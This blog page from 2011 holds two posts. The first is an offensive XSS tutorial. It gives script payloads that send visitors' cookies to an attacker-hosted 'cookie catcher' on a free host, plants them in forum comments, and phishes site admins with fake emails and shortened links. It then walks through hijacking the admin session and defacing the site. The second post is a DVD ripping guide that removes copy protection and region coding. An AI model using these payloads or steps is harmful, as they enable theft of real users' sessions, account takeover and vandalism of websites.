Sunday 17 July 2011

XSS Tutorial








 








Hello Guys Today i will write a Complete Tutorial on XSS.

First Of All XSS is in 2 Types, Persistent and Non-Persistent type.

For XSS we will use something called a Cookie Catcher.
Question will be that why we would need someones else cookies?

The answer is that we can change our browser's cookies to login as them!!! So lets call it Session Hijacking.

First go to a free hosting site like http://www.110mb.com or any other php hosting sites and register there. Then download this cookie catcher and upload it.

Cookie Catcher: http://adf.ly/1I5oz

What does the cookie catcher do?
It grabs the user's:
  • Cookies
  • IP
  • Referral Link. Which Page is attached to that Link
  • Time And Date

Get Vulnerable sites:

Ok first we need sites that are vulnerable to XSS so it will work on them.
To test it we will need to add a code after the link.
I will use this site that many of you probably saw it before.
http://adf.ly/Tdo3

Now for testing If a site is vulnerable or not you can add these codes:

Code:
"><script>alert(document.cookie)</script>

Code:
'><script>alert(document.cookie)</script>

Code:
"><script>alert("Test")</script>

Code:
'><script>alert("Test")</script>

Or a new one which i found out myself in which you can inject HTML:

Code:
"><body bgcolor="FF0000"></body>

Code:
"><iframe src="www.google.com" height=800 width=800 frameborder=1 align=center></iframe>

Then if we see a java script popup like this:


Or if you used my testing and you saw the page's background go black or a page of google opens in that site it means its vulnerable to XSS attack.

In the end, if your site is http://www.example.com
The link to test it would be: http://www.example.com/index.php?id="><script>alert(document.cookie)</script>

Persistent XSS:

In this method we will grab the slave's cookies with no suspection and completely stealth.
Now assume we have a forum which has HTML enabled or a site which has a comment page which is vulnerable to XSS.
Ok now lets go to this site: http://adf.ly/1I6ns
Now test and see if the XSS vulnerable test work on it.
It does!!! And your getting one of the vulnerability's symptoms. So now lets try to grab it's cookies. If there is a box to type or submit it, add this:

Code:
<script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>

and submit that post in the forum or the comment box also its good to add something before adding the code like: hey i got a problem logging in???
so they wont suspect you.

Refresh the page, now go to the newly created page, in the same directory as you saved your cookie catcher.php search for cookies.html which is a new file that show you the cookies. Like if your cookie catcher link would be: http://www.example.com/cookie catcher.php
The container of the cookies would be: http://www.example.com/cookies.html

Now visit cookies.html and you would see the session of that cookie!

Now there is another way for a cookie grabbing drive by, add this code and post it:

Code:
<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie)</iframe>

Then post it in the forum or the comment box.
Now this will open a iframe in the page which will allow you to have the same page in that website. If you don't know about iframes make a new html file in your computer and just do a

<iframe src="www.google.com"></iframe> and you will understand iframes more Smile

ofc the site Needs to have cookies supported! a blank javascript means you need to go to another site.

Non-Persistent XSS:

Ok in this method we will make the slave admin go to our link. First we will pick a XSS vulnerable site. For this method we will need a search.php which that page is vulnerable to XSS and has cookies in that page. In the vulnerable search.php in the textbox for the word to search for type:

Code:
<script>alert(document.cookie)</script>

And click the search button. If you see a javascript popup means its vulnerable to Non-Persistent XSS attack. Ok now we will do something similar.
I will use this link for this method: http://adf.ly/1I6ns
Now in front of the search.php?search= add this:

Code:
"><script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>

Now go to http://www.spam.com and shrink the whole page's link. Try to find a site administrator's E-mail in that vulnerable website and send a Fake Mail from a online fake mailer like this one: http://adf.ly/1I73J

Now in the body just tell something fake like: Hey i found a huge bug in your website! and give him the shrinked link of the search.php which you added the code in front of it to him. so the spam will mask it and once he goes to the link you will see his cookies in your cookies.html and he will just be redirected to the link in your cookies catcher. No matter what he does and changes his password you can still login as him.

Session Hijacking:

Ok now you have the Admin's cookies either way, so we need to edit our own browser's cookies. First go to that page's admin login or its main page and delete ALL of your cookies from that page. Now go in your cookies.html page and copy everything in front of the Cookie: in a note open Notepad. The ; separates cookies from each other so first copy the code before the ; .
Now go in that vulnerable website and clear the link. Instead of that link add this:

Code:
Javascript:void(document.cookie="")

or for an example:

Code:
Javascript:void(document.cookie="__utma=255621336.1130089386.1295743598.1305934653.1305950205.86")

Then visit the link. Do this with all of the cookies and refresh the page. And you are logged in as administrator.
So now go in your Admin Panel and upload your Deface Page.

Good Luck. Now you have Hacked a Website with XSS.

High Compression 4GB DVD to 100MB File







  Install all the Softwares (Download them...all are freewares)……….
1) DivX Create Bundle
2) DVD2AVI
3) DVD Decrypter
4) LAME ACM Codec
5) Virtual Dub

 

Step (1): Insert your DVD into the drive and launch DVD decrypter. DVD Decrypter will detect the DVD and its file contents will now be displayed in the right pane. Now go to File > Browse and select the destination for the ripped VOB files. Keep in mind that the destination must have enough free space to store the contents of the entire DVD.

Step (2): After choosing the destination, click on File>Decrypt to start the decryption process. DVD Decrypter removes the Macrovision Protection by default, and you can set to remove region code as well by going to Tools > IFO > Region > Patch > Region Free. These are necessary for the next step. After the DVD ripping process is completed, close DVD Decrypter.

Step (3): Next Launch DVD2AVI. Go to File > Open. Make sure the correct track number in the Audio menu is selected. You need to find the correct track number-most DVDs have multiple audio tracks in different languages. This can be checked by selecting one track at a time and playing it. Also click on the Audio menu and navigate to “48>44.1KHz”, and select Off. Go to Help > SIMD Technology and select all the optimizations supported by your processor. Now go to File > Save As AVI.

Step (4): Decide on a file name and choose a location with enough free space. You will now be prompted to choose a video compressor. Choose “DivX 6.x.x” from the drop-down menu where you can select the video compressor.

Step (5): Under the Certification Profiles, you can choose an appropriate preset profile such as High Definition, Home Theatre, Portable, Handheld, and Unconstrained. When you choose one of the above profiles, it is virtually guaranteed that the encoded DivX file will be playable on any standalone DivX-certified player. Click on Settings. You can select a bitrate of your choice. A higher bitrate means a larger file size and better quality, while a lower bitrate means a smaller file size and lower image quality.

Step (6): In the Codec tab, you can set the Encoding mode. The default setting is a good trade-off between quality and compression, but if you wish to control the file size, you can state your own mode such as High Performance, Better Quality, etc. Click on OK and then on save to start the video
demultiplexing process. This will take some time depending on the speed of your computer. At the end of this process, you’ll have an AVI file and a WAV file.

Step (7): We now get to the creation of the DivX file-putting together the video (AVI) and audio (WAV) files that were created in the previous step. Launch Virtual Dub. Under File > Open, browse to the folder where the AVI and WAV files are stored. Select the AVI file and click Open.

Step (8): Click on the Audio menu and click “Full Processing Mode”. Click again on the Audio menu and select “WAV Audio”. You will be prompted to open a WAV file. Select the WAV file you created earlier and click Open. Click on the Audio menu and then on Compression. Select “MPEG Layer-3” from the left pane and then select “128 KBit/s, 48,000Hz, Streo” in the right pane. Click OK.

Step (9): Select Interleaving from the Audio menu. Then, select the “mis” radio button and input “500” into the “Interleave audio every” dialog box. Click OK. Again, in the Audio menu, select Volume. Check the box and move the slider to 200 percent. Click OK.

Step (10): From the Video menu, select Direct Stream Copy.

Step (11): Go to File > Save As. Enter a file name of your choice at a location of your choice, and click at a location of your choice, and click OK. This, again, will take some time, but not as much as the video encoding using DVD2AVI. After the process is complete, you’ll have a DivX backup of ypur DVD movie.
Step (12): All that’s left now is to burn the DivX backup up to CD or DVD using your DVD-Writer.



Related Posts Plugin for WordPress, Blogger...
Twitter Delicious Facebook Digg Stumbleupon Favorites More